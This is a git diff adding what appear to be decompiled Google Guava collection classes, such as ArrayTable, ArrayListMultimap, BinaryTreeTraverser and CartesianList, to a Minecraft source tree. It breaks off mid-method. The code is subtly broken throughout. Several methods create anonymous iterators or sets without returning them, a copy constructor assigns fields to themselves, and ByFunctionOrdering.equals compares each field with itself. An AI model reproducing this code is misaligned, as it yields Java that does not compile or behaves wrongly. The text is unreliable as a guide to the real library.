+  }
+  
+  public V remove(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    Map<C, V> row = (Map)Maps.safeGet(rowMap(), rowKey);
+    return row == null ? null : Maps.safeRemove(row, columnKey);
+  }
+  
+  public V put(R rowKey, C columnKey, V value)
+  {
+    return row(rowKey).put(columnKey, value);
+  }
+  
+  public void putAll(Table<? extends R, ? extends C, ? extends V> table)
+  {
+    for (Table.Cell<? extends R, ? extends C, ? extends V> cell : table.cellSet()) {
+      put(cell.getRowKey(), cell.getColumnKey(), cell.getValue());
+    }
+  }
+  
+
+
+  public Set<Table.Cell<R, C, V>> cellSet()
+  {
+    Set<Table.Cell<R, C, V>> result = cellSet;
+    return result == null ? (this.cellSet = createCellSet()) : result;
+  }
+  
+
+  Set<Table.Cell<R, C, V>> createCellSet() { return new CellSet(); }
+  
+  abstract Iterator<Table.Cell<R, C, V>> cellIterator();
+  
+  class CellSet extends AbstractSet<Table.Cell<R, C, V>> {
+    CellSet() {}
+    
+    public boolean contains(Object o) {
+      if ((o instanceof Table.Cell)) {
+        Table.Cell<?, ?, ?> cell = (Table.Cell)o;
+        Map<C, V> row = (Map)Maps.safeGet(rowMap(), cell.getRowKey());
+        return (row != null) && (Collections2.safeContains(row.entrySet(), Maps.immutableEntry(cell.getColumnKey(), cell.getValue())));
+      }
+      
+      return false;
+    }
+    
+    public boolean remove(@Nullable Object o)
+    {
+      if ((o instanceof Table.Cell)) {
+        Table.Cell<?, ?, ?> cell = (Table.Cell)o;
+        Map<C, V> row = (Map)Maps.safeGet(rowMap(), cell.getRowKey());
+        return (row != null) && (Collections2.safeRemove(row.entrySet(), Maps.immutableEntry(cell.getColumnKey(), cell.getValue())));
+      }
+      
+      return false;
+    }
+    
+    public void clear()
+    {
+      AbstractTable.this.clear();
+    }
+    
+    public Iterator<Table.Cell<R, C, V>> iterator()
+    {
+      return cellIterator();
+    }
+    
+    public int size()
+    {
+      return AbstractTable.this.size();
+    }
+  }
+  
+
+
+  public Collection<V> values()
+  {
+    Collection<V> result = values;
+    return result == null ? (this.values = createValues()) : result;
+  }
+  
+  Collection<V> createValues() {
+    return new Values();
+  }
+  
+  Iterator<V> valuesIterator() {
+    new TransformedIterator(cellSet().iterator())
+    {
+      V transform(Table.Cell<R, C, V> cell) {
+        return cell.getValue();
+      }
+    };
+  }
+  
+  class Values extends AbstractCollection<V> {
+    Values() {}
+    
+    public Iterator<V> iterator() { return valuesIterator(); }
+    
+
+    public boolean contains(Object o)
+    {
+      return containsValue(o);
+    }
+    
+    public void clear()
+    {
+      AbstractTable.this.clear();
+    }
+    
+    public int size()
+    {
+      return AbstractTable.this.size();
+    }
+  }
+  
+  public boolean equals(@Nullable Object obj) {
+    return Tables.equalsImpl(this, obj);
+  }
+  
+  public int hashCode() {
+    return cellSet().hashCode();
+  }
+  
+
+
+  public String toString()
+  {
+    return rowMap().toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AllEqualOrdering.java b/src/minecraft/com/google/common/collect/AllEqualOrdering.java
new file mode 100644
index 0000000..c918295
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AllEqualOrdering.java
@@ -0,0 +1,64 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.List;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class AllEqualOrdering
+  extends Ordering<Object>
+  implements Serializable
+{
+  static final AllEqualOrdering INSTANCE = new AllEqualOrdering();
+  
+  AllEqualOrdering() {}
+  
+  public int compare(@Nullable Object left, @Nullable Object right) { return 0; }
+  
+  private static final long serialVersionUID = 0L;
+  public <E> List<E> sortedCopy(Iterable<E> iterable)
+  {
+    return Lists.newArrayList(iterable);
+  }
+  
+  public <E> ImmutableList<E> immutableSortedCopy(Iterable<E> iterable)
+  {
+    return ImmutableList.copyOf(iterable);
+  }
+  
+
+  public <S> Ordering<S> reverse()
+  {
+    return this;
+  }
+  
+  private Object readResolve() {
+    return INSTANCE;
+  }
+  
+  public String toString()
+  {
+    return "Ordering.allEqual()";
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ArrayListMultimap.java b/src/minecraft/com/google/common/collect/ArrayListMultimap.java
new file mode 100644
index 0000000..ef02829
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ArrayListMultimap.java
@@ -0,0 +1,165 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public final class ArrayListMultimap<K, V>
+  extends AbstractListMultimap<K, V>
+{
+  private static final int DEFAULT_VALUES_PER_KEY = 3;
+  @VisibleForTesting
+  transient int expectedValuesPerKey;
+  @GwtIncompatible("Not needed in emulated source.")
+  private static final long serialVersionUID = 0L;
+  
+  public static <K, V> ArrayListMultimap<K, V> create()
+  {
+    return new ArrayListMultimap();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <K, V> ArrayListMultimap<K, V> create(int expectedKeys, int expectedValuesPerKey)
+  {
+    return new ArrayListMultimap(expectedKeys, expectedValuesPerKey);
+  }
+  
+
+
+
+
+
+
+  public static <K, V> ArrayListMultimap<K, V> create(Multimap<? extends K, ? extends V> multimap)
+  {
+    return new ArrayListMultimap(multimap);
+  }
+  
+  private ArrayListMultimap() {
+    super(new HashMap());
+    expectedValuesPerKey = 3;
+  }
+  
+  private ArrayListMultimap(int expectedKeys, int expectedValuesPerKey) {
+    super(Maps.newHashMapWithExpectedSize(expectedKeys));
+    CollectPreconditions.checkNonnegative(expectedValuesPerKey, "expectedValuesPerKey");
+    this.expectedValuesPerKey = expectedValuesPerKey;
+  }
+  
+  private ArrayListMultimap(Multimap<? extends K, ? extends V> multimap) {
+    this(multimap.keySet().size(), (multimap instanceof ArrayListMultimap) ? expectedValuesPerKey : 3);
+    
+
+
+    putAll(multimap);
+  }
+  
+
+
+
+  List<V> createCollection()
+  {
+    return new ArrayList(expectedValuesPerKey);
+  }
+  
+
+
+  public void trimToSize()
+  {
+    for (Collection<V> collection : backingMap().values()) {
+      ArrayList<V> arrayList = (ArrayList)collection;
+      arrayList.trimToSize();
+    }
+  }
+  
+
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    stream.writeInt(expectedValuesPerKey);
+    Serialization.writeMultimap(this, stream);
+  }
+  
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    expectedValuesPerKey = stream.readInt();
+    int distinctKeys = Serialization.readCount(stream);
+    Map<K, Collection<V>> map = Maps.newHashMapWithExpectedSize(distinctKeys);
+    setMap(map);
+    Serialization.populateMultimap(this, stream, distinctKeys);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ArrayTable.java b/src/minecraft/com/google/common/collect/ArrayTable.java
new file mode 100644
index 0000000..c07e8f4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ArrayTable.java
@@ -0,0 +1,771 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.lang.reflect.Array;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible(emulated=true)
+public final class ArrayTable<R, C, V>
+  extends AbstractTable<R, C, V>
+  implements Serializable
+{
+  private final ImmutableList<R> rowList;
+  private final ImmutableList<C> columnList;
+  private final ImmutableMap<R, Integer> rowKeyToIndex;
+  private final ImmutableMap<C, Integer> columnKeyToIndex;
+  private final V[][] array;
+  private transient ArrayTable<R, C, V>.ColumnMap columnMap;
+  private transient ArrayTable<R, C, V>.RowMap rowMap;
+  private static final long serialVersionUID = 0L;
+  
+  public static <R, C, V> ArrayTable<R, C, V> create(Iterable<? extends R> rowKeys, Iterable<? extends C> columnKeys)
+  {
+    return new ArrayTable(rowKeys, columnKeys);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <R, C, V> ArrayTable<R, C, V> create(Table<R, C, V> table)
+  {
+    return (table instanceof ArrayTable) ? new ArrayTable((ArrayTable)table) : new ArrayTable(table);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private ArrayTable(Iterable<? extends R> rowKeys, Iterable<? extends C> columnKeys)
+  {
+    rowList = ImmutableList.copyOf(rowKeys);
+    columnList = ImmutableList.copyOf(columnKeys);
+    Preconditions.checkArgument(!rowList.isEmpty());
+    Preconditions.checkArgument(!columnList.isEmpty());
+    
+
+
+
+
+
+    rowKeyToIndex = index(rowList);
+    columnKeyToIndex = index(columnList);
+    
+
+    V[][] tmpArray = (Object[][])new Object[rowList.size()][columnList.size()];
+    
+    array = tmpArray;
+    
+    eraseAll();
+  }
+  
+  private static <E> ImmutableMap<E, Integer> index(List<E> list) {
+    ImmutableMap.Builder<E, Integer> columnBuilder = ImmutableMap.builder();
+    for (int i = 0; i < list.size(); i++) {
+      columnBuilder.put(list.get(i), Integer.valueOf(i));
+    }
+    return columnBuilder.build();
+  }
+  
+  private ArrayTable(Table<R, C, V> table) {
+    this(table.rowKeySet(), table.columnKeySet());
+    putAll(table);
+  }
+  
+  private ArrayTable(ArrayTable<R, C, V> table) {
+    rowList = rowList;
+    columnList = columnList;
+    rowKeyToIndex = rowKeyToIndex;
+    columnKeyToIndex = columnKeyToIndex;
+    
+    V[][] copy = (Object[][])new Object[rowList.size()][columnList.size()];
+    array = copy;
+    
+    eraseAll();
+    for (int i = 0; i < rowList.size(); i++) {
+      System.arraycopy(array[i], 0, copy[i], 0, array[i].length);
+    }
+  }
+  
+  private static abstract class ArrayMap<K, V> extends Maps.ImprovedAbstractMap<K, V> {
+    private final ImmutableMap<K, Integer> keyIndex;
+    
+    private ArrayMap(ImmutableMap<K, Integer> keyIndex) {
+      this.keyIndex = keyIndex;
+    }
+    
+    public Set<K> keySet()
+    {
+      return keyIndex.keySet();
+    }
+    
+    K getKey(int index) {
+      return keyIndex.keySet().asList().get(index);
+    }
+    
+    abstract String getKeyRole();
+    
+    @Nullable
+    abstract V getValue(int paramInt);
+    
+    @Nullable
+    abstract V setValue(int paramInt, V paramV);
+    
+    public int size() { return keyIndex.size(); }
+    
+
+    public boolean isEmpty()
+    {
+      return keyIndex.isEmpty();
+    }
+    
+    protected Set<Map.Entry<K, V>> createEntrySet()
+    {
+      new Maps.EntrySet()
+      {
+        Map<K, V> map() {
+          return ArrayTable.ArrayMap.this;
+        }
+        
+        public Iterator<Map.Entry<K, V>> iterator()
+        {
+          new AbstractIndexedListIterator(size())
+          {
+            protected Map.Entry<K, V> get(final int index) {
+              new AbstractMapEntry()
+              {
+                public K getKey() {
+                  return getKey(index);
+                }
+                
+                public V getValue()
+                {
+                  return getValue(index);
+                }
+                
+                public V setValue(V value)
+                {
+                  return setValue(index, value);
+                }
+              };
+            }
+          };
+        }
+      };
+    }
+    
+
+
+    public boolean containsKey(@Nullable Object key)
+    {
+      return keyIndex.containsKey(key);
+    }
+    
+    public V get(@Nullable Object key)
+    {
+      Integer index = (Integer)keyIndex.get(key);
+      if (index == null) {
+        return null;
+      }
+      return getValue(index.intValue());
+    }
+    
+
+    public V put(K key, V value)
+    {
+      Integer index = (Integer)keyIndex.get(key);
+      if (index == null) {
+        throw new IllegalArgumentException(getKeyRole() + " " + key + " not in " + keyIndex.keySet());
+      }
+      
+      return setValue(index.intValue(), value);
+    }
+    
+    public V remove(Object key)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void clear()
+    {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+
+
+
+  public ImmutableList<R> rowKeyList()
+  {
+    return rowList;
+  }
+  
+
+
+
+  public ImmutableList<C> columnKeyList()
+  {
+    return columnList;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public V at(int rowIndex, int columnIndex)
+  {
+    Preconditions.checkElementIndex(rowIndex, rowList.size());
+    Preconditions.checkElementIndex(columnIndex, columnList.size());
+    return array[rowIndex][columnIndex];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public V set(int rowIndex, int columnIndex, @Nullable V value)
+  {
+    Preconditions.checkElementIndex(rowIndex, rowList.size());
+    Preconditions.checkElementIndex(columnIndex, columnList.size());
+    V oldValue = array[rowIndex][columnIndex];
+    array[rowIndex][columnIndex] = value;
+    return oldValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("reflection")
+  public V[][] toArray(Class<V> valueClass)
+  {
+    V[][] copy = (Object[][])Array.newInstance(valueClass, new int[] { rowList.size(), columnList.size() });
+    
+    for (int i = 0; i < rowList.size(); i++) {
+      System.arraycopy(array[i], 0, copy[i], 0, array[i].length);
+    }
+    return copy;
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public void clear()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+  public void eraseAll()
+  {
+    for (V[] row : array) {
+      Arrays.fill(row, null);
+    }
+  }
+  
+
+
+
+
+  public boolean contains(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    return (containsRow(rowKey)) && (containsColumn(columnKey));
+  }
+  
+
+
+
+
+  public boolean containsColumn(@Nullable Object columnKey)
+  {
+    return columnKeyToIndex.containsKey(columnKey);
+  }
+  
+
+
+
+
+  public boolean containsRow(@Nullable Object rowKey)
+  {
+    return rowKeyToIndex.containsKey(rowKey);
+  }
+  
+  public boolean containsValue(@Nullable Object value)
+  {
+    for (V[] row : array) {
+      for (V element : row) {
+        if (Objects.equal(value, element)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+  
+  public V get(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    Integer rowIndex = (Integer)rowKeyToIndex.get(rowKey);
+    Integer columnIndex = (Integer)columnKeyToIndex.get(columnKey);
+    return (rowIndex == null) || (columnIndex == null) ? null : at(rowIndex.intValue(), columnIndex.intValue());
+  }
+  
+
+
+
+
+  public boolean isEmpty()
+  {
+    return false;
+  }
+  
+
+
+
+
+
+
+  public V put(R rowKey, C columnKey, @Nullable V value)
+  {
+    Preconditions.checkNotNull(rowKey);
+    Preconditions.checkNotNull(columnKey);
+    Integer rowIndex = (Integer)rowKeyToIndex.get(rowKey);
+    Preconditions.checkArgument(rowIndex != null, "Row %s not in %s", new Object[] { rowKey, rowList });
+    Integer columnIndex = (Integer)columnKeyToIndex.get(columnKey);
+    Preconditions.checkArgument(columnIndex != null, "Column %s not in %s", new Object[] { columnKey, columnList });
+    
+    return set(rowIndex.intValue(), columnIndex.intValue(), value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void putAll(Table<? extends R, ? extends C, ? extends V> table)
+  {
+    super.putAll(table);
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public V remove(Object rowKey, Object columnKey)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public V erase(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    Integer rowIndex = (Integer)rowKeyToIndex.get(rowKey);
+    Integer columnIndex = (Integer)columnKeyToIndex.get(columnKey);
+    if ((rowIndex == null) || (columnIndex == null)) {
+      return null;
+    }
+    return set(rowIndex.intValue(), columnIndex.intValue(), null);
+  }
+  
+
+
+  public int size()
+  {
+    return rowList.size() * columnList.size();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Set<Table.Cell<R, C, V>> cellSet()
+  {
+    return super.cellSet();
+  }
+  
+  Iterator<Table.Cell<R, C, V>> cellIterator()
+  {
+    new AbstractIndexedListIterator(size()) {
+      protected Table.Cell<R, C, V> get(final int index) {
+        new Tables.AbstractCell() {
+          final int rowIndex = index / columnList.size();
+          final int columnIndex = index % columnList.size();
+          
+          public R getRowKey() {
+            return rowList.get(rowIndex);
+          }
+          
+          public C getColumnKey() {
+            return columnList.get(columnIndex);
+          }
+          
+          public V getValue() {
+            return at(rowIndex, columnIndex);
+          }
+        };
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public Map<R, V> column(C columnKey)
+  {
+    Preconditions.checkNotNull(columnKey);
+    Integer columnIndex = (Integer)columnKeyToIndex.get(columnKey);
+    return columnIndex == null ? ImmutableMap.of() : new Column(columnIndex.intValue());
+  }
+  
+  private class Column extends ArrayTable.ArrayMap<R, V>
+  {
+    final int columnIndex;
+    
+    Column(int columnIndex) {
+      super(null);
+      this.columnIndex = columnIndex;
+    }
+    
+    String getKeyRole()
+    {
+      return "Row";
+    }
+    
+    V getValue(int index)
+    {
+      return at(index, columnIndex);
+    }
+    
+    V setValue(int index, V newValue)
+    {
+      return set(index, columnIndex, newValue);
+    }
+  }
+  
+
+
+
+
+
+
+  public ImmutableSet<C> columnKeySet()
+  {
+    return columnKeyToIndex.keySet();
+  }
+  
+
+
+  public Map<C, Map<R, V>> columnMap()
+  {
+    ArrayTable<R, C, V>.ColumnMap map = columnMap;
+    return map == null ? (this.columnMap = new ColumnMap(null)) : map;
+  }
+  
+  private class ColumnMap extends ArrayTable.ArrayMap<C, Map<R, V>> {
+    private ColumnMap() {
+      super(null);
+    }
+    
+    String getKeyRole()
+    {
+      return "Column";
+    }
+    
+    Map<R, V> getValue(int index)
+    {
+      return new ArrayTable.Column(ArrayTable.this, index);
+    }
+    
+    Map<R, V> setValue(int index, Map<R, V> newValue)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Map<R, V> put(C key, Map<R, V> value)
+    {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Map<C, V> row(R rowKey)
+  {
+    Preconditions.checkNotNull(rowKey);
+    Integer rowIndex = (Integer)rowKeyToIndex.get(rowKey);
+    return rowIndex == null ? ImmutableMap.of() : new Row(rowIndex.intValue());
+  }
+  
+  private class Row extends ArrayTable.ArrayMap<C, V> {
+    final int rowIndex;
+    
+    Row(int rowIndex) {
+      super(null);
+      this.rowIndex = rowIndex;
+    }
+    
+    String getKeyRole()
+    {
+      return "Column";
+    }
+    
+    V getValue(int index)
+    {
+      return at(rowIndex, index);
+    }
+    
+    V setValue(int index, V newValue)
+    {
+      return set(rowIndex, index, newValue);
+    }
+  }
+  
+
+
+
+
+
+
+  public ImmutableSet<R> rowKeySet()
+  {
+    return rowKeyToIndex.keySet();
+  }
+  
+
+
+  public Map<R, Map<C, V>> rowMap()
+  {
+    ArrayTable<R, C, V>.RowMap map = rowMap;
+    return map == null ? (this.rowMap = new RowMap(null)) : map;
+  }
+  
+  private class RowMap extends ArrayTable.ArrayMap<R, Map<C, V>> {
+    private RowMap() {
+      super(null);
+    }
+    
+    String getKeyRole()
+    {
+      return "Row";
+    }
+    
+    Map<C, V> getValue(int index)
+    {
+      return new ArrayTable.Row(ArrayTable.this, index);
+    }
+    
+    Map<C, V> setValue(int index, Map<C, V> newValue)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Map<C, V> put(R key, Map<C, V> value)
+    {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Collection<V> values()
+  {
+    return super.values();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/BiMap.java b/src/minecraft/com/google/common/collect/BiMap.java
new file mode 100644
index 0000000..6e48942
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/BiMap.java
@@ -0,0 +1,21 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface BiMap<K, V>
+  extends Map<K, V>
+{
+  public abstract V put(@Nullable K paramK, @Nullable V paramV);
+  
+  public abstract V forcePut(@Nullable K paramK, @Nullable V paramV);
+  
+  public abstract void putAll(Map<? extends K, ? extends V> paramMap);
+  
+  public abstract Set<V> values();
+  
+  public abstract BiMap<V, K> inverse();
+}
diff --git a/src/minecraft/com/google/common/collect/BinaryTreeTraverser.java b/src/minecraft/com/google/common/collect/BinaryTreeTraverser.java
new file mode 100644
index 0000000..fa30d9a
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/BinaryTreeTraverser.java
@@ -0,0 +1,212 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Optional;
+import com.google.common.base.Preconditions;
+import java.util.ArrayDeque;
+import java.util.BitSet;
+import java.util.Deque;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible(emulated=true)
+public abstract class BinaryTreeTraverser<T>
+  extends TreeTraverser<T>
+{
+  public BinaryTreeTraverser() {}
+  
+  public abstract Optional<T> leftChild(T paramT);
+  
+  public abstract Optional<T> rightChild(T paramT);
+  
+  public final Iterable<T> children(final T root)
+  {
+    Preconditions.checkNotNull(root);
+    new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        new AbstractIterator()
+        {
+          boolean doneLeft;
+          boolean doneRight;
+          
+          protected T computeNext() {
+            if (!doneLeft) {
+              doneLeft = true;
+              Optional<T> left = leftChild(val$root);
+              if (left.isPresent()) {
+                return left.get();
+              }
+            }
+            if (!doneRight) {
+              doneRight = true;
+              Optional<T> right = rightChild(val$root);
+              if (right.isPresent()) {
+                return right.get();
+              }
+            }
+            return endOfData();
+          }
+        };
+      }
+    };
+  }
+  
+  UnmodifiableIterator<T> preOrderIterator(T root)
+  {
+    return new PreOrderIterator(root);
+  }
+  
+  private final class PreOrderIterator
+    extends UnmodifiableIterator<T>
+    implements PeekingIterator<T>
+  {
+    private final Deque<T> stack;
+    
+    PreOrderIterator()
+    {
+      stack = new ArrayDeque();
+      stack.addLast(root);
+    }
+    
+    public boolean hasNext()
+    {
+      return !stack.isEmpty();
+    }
+    
+    public T next()
+    {
+      T result = stack.removeLast();
+      BinaryTreeTraverser.pushIfPresent(stack, rightChild(result));
+      BinaryTreeTraverser.pushIfPresent(stack, leftChild(result));
+      return result;
+    }
+    
+    public T peek()
+    {
+      return stack.getLast();
+    }
+  }
+  
+  UnmodifiableIterator<T> postOrderIterator(T root)
+  {
+    return new PostOrderIterator(root);
+  }
+  
+  private final class PostOrderIterator
+    extends UnmodifiableIterator<T>
+  {
+    private final Deque<T> stack;
+    private final BitSet hasExpanded;
+    
+    PostOrderIterator()
+    {
+      stack = new ArrayDeque();
+      stack.addLast(root);
+      hasExpanded = new BitSet();
+    }
+    
+    public boolean hasNext()
+    {
+      return !stack.isEmpty();
+    }
+    
+    public T next()
+    {
+      for (;;) {
+        T node = stack.getLast();
+        boolean expandedNode = hasExpanded.get(stack.size() - 1);
+        if (expandedNode) {
+          stack.removeLast();
+          hasExpanded.clear(stack.size());
+          return node;
+        }
+        hasExpanded.set(stack.size() - 1);
+        BinaryTreeTraverser.pushIfPresent(stack, rightChild(node));
+        BinaryTreeTraverser.pushIfPresent(stack, leftChild(node));
+      }
+    }
+  }
+  
+
+
+  public final FluentIterable<T> inOrderTraversal(final T root)
+  {
+    Preconditions.checkNotNull(root);
+    new FluentIterable()
+    {
+      public UnmodifiableIterator<T> iterator() {
+        return new BinaryTreeTraverser.InOrderIterator(BinaryTreeTraverser.this, root);
+      }
+    };
+  }
+  
+  private final class InOrderIterator extends AbstractIterator<T> {
+    private final Deque<T> stack;
+    private final BitSet hasExpandedLeft;
+    
+    InOrderIterator() {
+      stack = new ArrayDeque();
+      hasExpandedLeft = new BitSet();
+      stack.addLast(root);
+    }
+    
+    protected T computeNext()
+    {
+      while (!stack.isEmpty()) {
+        T node = stack.getLast();
+        if (hasExpandedLeft.get(stack.size() - 1)) {
+          stack.removeLast();
+          hasExpandedLeft.clear(stack.size());
+          BinaryTreeTraverser.pushIfPresent(stack, rightChild(node));
+          return node;
+        }
+        hasExpandedLeft.set(stack.size() - 1);
+        BinaryTreeTraverser.pushIfPresent(stack, leftChild(node));
+      }
+      
+      return endOfData();
+    }
+  }
+  
+  private static <T> void pushIfPresent(Deque<T> stack, Optional<T> node) {
+    if (node.isPresent()) {
+      stack.addLast(node.get());
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/BoundType.java b/src/minecraft/com/google/common/collect/BoundType.java
new file mode 100644
index 0000000..9ff526e
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/BoundType.java
@@ -0,0 +1,55 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public enum BoundType
+{
+  OPEN, 
+  
+
+
+
+
+
+
+
+  CLOSED;
+  
+
+
+
+  private BoundType() {}
+  
+
+
+  static BoundType forBoolean(boolean inclusive)
+  {
+    return inclusive ? CLOSED : OPEN;
+  }
+  
+  abstract BoundType flip();
+}
diff --git a/src/minecraft/com/google/common/collect/ByFunctionOrdering.java b/src/minecraft/com/google/common/collect/ByFunctionOrdering.java
new file mode 100644
index 0000000..48c2dfd
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ByFunctionOrdering.java
@@ -0,0 +1,68 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class ByFunctionOrdering<F, T>
+  extends Ordering<F>
+  implements Serializable
+{
+  final Function<F, ? extends T> function;
+  final Ordering<T> ordering;
+  private static final long serialVersionUID = 0L;
+  
+  ByFunctionOrdering(Function<F, ? extends T> function, Ordering<T> ordering)
+  {
+    this.function = ((Function)Preconditions.checkNotNull(function));
+    this.ordering = ((Ordering)Preconditions.checkNotNull(ordering));
+  }
+  
+  public int compare(F left, F right) {
+    return ordering.compare(function.apply(left), function.apply(right));
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof ByFunctionOrdering)) {
+      ByFunctionOrdering<?, ?> that = (ByFunctionOrdering)object;
+      return (function.equals(function)) && (ordering.equals(ordering));
+    }
+    
+    return false;
+  }
+  
+  public int hashCode() {
+    return Objects.hashCode(new Object[] { function, ordering });
+  }
+  
+  public String toString() {
+    return ordering + ".onResultOf(" + function + ")";
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/CartesianList.java b/src/minecraft/com/google/common/collect/CartesianList.java
new file mode 100644
index 0000000..12ee3f8
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/CartesianList.java
@@ -0,0 +1,120 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.math.IntMath;
+import java.util.AbstractList;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.RandomAccess;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class CartesianList<E>
+  extends AbstractList<List<E>>
+  implements RandomAccess
+{
+  private final transient ImmutableList<List<E>> axes;
+  private final transient int[] axesSizeProduct;
+  
+  static <E> List<List<E>> create(List<? extends List<? extends E>> lists)
+  {
+    ImmutableList.Builder<List<E>> axesBuilder = new ImmutableList.Builder(lists.size());
+    
+    for (List<? extends E> list : lists) {
+      List<E> copy = ImmutableList.copyOf(list);
+      if (copy.isEmpty()) {
+        return ImmutableList.of();
+      }
+      axesBuilder.add(copy);
+    }
+    return new CartesianList(axesBuilder.build());
+  }
+  
+  CartesianList(ImmutableList<List<E>> axes) {
+    this.axes = axes;
+    int[] axesSizeProduct = new int[axes.size() + 1];
+    axesSizeProduct[axes.size()] = 1;
+    try {
+      for (int i = axes.size() - 1; i >= 0; i--) {
+        axesSizeProduct[i] = IntMath.checkedMultiply(axesSizeProduct[(i + 1)], ((List)axes.get(i)).size());
+      }
+    }
+    catch (ArithmeticException e) {
+      throw new IllegalArgumentException("Cartesian product too large; must have size at most Integer.MAX_VALUE");
+    }
+    
+    this.axesSizeProduct = axesSizeProduct;
+  }
+  
+  private int getAxisIndexForProductIndex(int index, int axis) {
+    return index / axesSizeProduct[(axis + 1)] % ((List)axes.get(axis)).size();
+  }
+  
+  public ImmutableList<E> get(final int index)
+  {
+    Preconditions.checkElementIndex(index, size());
+    new ImmutableList()
+    {
+      public int size()
+      {
+        return axes.size();
+      }
+      
